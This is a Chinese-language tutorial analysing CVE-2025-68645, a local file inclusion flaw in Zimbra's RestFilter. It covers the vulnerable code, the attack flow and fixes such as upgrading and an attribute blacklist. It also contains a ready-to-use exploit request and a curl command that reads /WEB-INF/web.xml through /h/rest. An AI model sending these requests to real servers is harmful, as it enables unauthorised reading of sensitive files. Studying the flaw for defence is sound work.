CVE-2025-68645|Zimbra 本地文件包含漏洞复现与分析
字数 1198
更新时间 2026-01-31 12:06:12
Zimbra 本地文件包含漏洞(CVE-2025-68645)教学文档
漏洞概述
CVE-2025-68645是Zimbra Collaboration Suite中存在的一个本地文件包含漏洞。该漏洞源于RestFilter servlet对用户输入处理不当,攻击者可通过向/h/rest端点发送特制请求,读取WebRoot目录下的任意文件。
受影响版本
- Zimbra Collaboration Suite 10.0 < 10.0.18
- Zimbra Collaboration Suite 10.1 < 10.1.13
技术原理分析
漏洞位置
漏洞位于com.zimbra.webClient.filters.RestFilter类的doFilter方法中。
漏洞代码分析
public class RestFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
Map<String,String[]> attrMap= request.getParameterMap();
for(Map.Entry<String, String[]> entry: attrMap.entrySet()) {
for(String value : entry.getValue()) {
request.setAttribute(entry.getKey(), value); // 漏洞点:无过滤设置属性
}
}
chain.doFilter(request, response);
}
}
配置映射
在/WEB-INF/web.xml中的配置:
<filter-mapping>
<filter-name>RestFilter</filter-name>
<url-pattern>/h/*</url-pattern>
</filter-mapping>
<jsp-config>
<jsp-property-group>
<url-pattern>/h/rest</url-pattern> <!-- 配置为JSP处理 -->
</jsp-property-group>
</jsp-config>
漏洞利用机制
关键属性
Servlet规范中的特殊包含属性:
javax.servlet.include.servlet_path:指定被包含的Servlet路径javax.servlet.include.path_info:指定被包含的路径信息javax.servlet.include.request_uri:指定被包含的请求URI
攻击流程
- 攻击者发送包含恶意参数的GET请求
- RestFilter将参数无过滤地设置为request属性
- JSP引擎检测到包含属性,执行文件包含操作
- 返回目标文件内容
利用示例
GET /h/rest?javax.servlet.include.servlet_path=/WEB-INF/web.xml HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0...
复现步骤
环境准备
- 搭建受影响版本的Zimbra环境(10.0.0-10.0.17或10.1.0-10.1.12)
- 确保目标可访问Web界面
攻击测试
使用curl或浏览器发送以下请求:
curl "http://target.com/h/rest?javax.servlet.include.servlet_path=/WEB-INF/web.xml"
可读取文件路径
/WEB-INF/web.xml:Web应用配置文件- 其他WebRoot目录下的敏感文件
修复方案
方案一:版本升级
- 升级到Zimbra Collaboration Suite 10.0.18或更高版本
- 升级到Zimbra Collaboration Suite 10.1.13或更高版本
方案二:代码修复
修改RestFilter.java,添加危险属性过滤:
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
Set<String> blacklist = Set.of(
"javax.servlet.include.servlet_path",
"javax.servlet.include.path_info",
"javax.servlet.include.request_uri",
"javax.servlet.include.context_path",
"javax.servlet.include.query_string",
"javax.servlet.forward.servlet_path",
"javax.servlet.forward.path_info",
"javax.servlet.forward.request_uri"
);
Map<String,String[]> attrMap = request.getParameterMap();
for(Map.Entry<String, String[]> entry: attrMap.entrySet()) {
String key = entry.getKey();
// 过滤危险属性
if (key != null && !key.toLowerCase().startsWith("javax.servlet.")) {
for(String value : entry.getValue()) {
request.setAttribute(key, value);
}
}
}
chain.doFilter(request, response);
}
防护建议
- 及时更新:保持Zimbra系统为最新版本
- 输入验证:对所有用户输入进行严格验证和过滤
- 权限控制:限制Web应用对敏感文件的访问权限
- 安全监控:部署WAF等安全防护设备检测异常请求
影响评估
该漏洞允许攻击者读取服务器上的敏感文件,可能导致配置文件泄露、系统信息暴露等安全风险,属于中高危漏洞。
检测方法
- 检查Zimbra版本是否在受影响范围内
- 使用安全扫描工具检测漏洞存在性
- 审查系统日志中异常的/h/rest请求
此教学文档涵盖了CVE-2025-68645漏洞的技术细节、利用方法和防护措施,为安全研究和防护工作提供完整参考。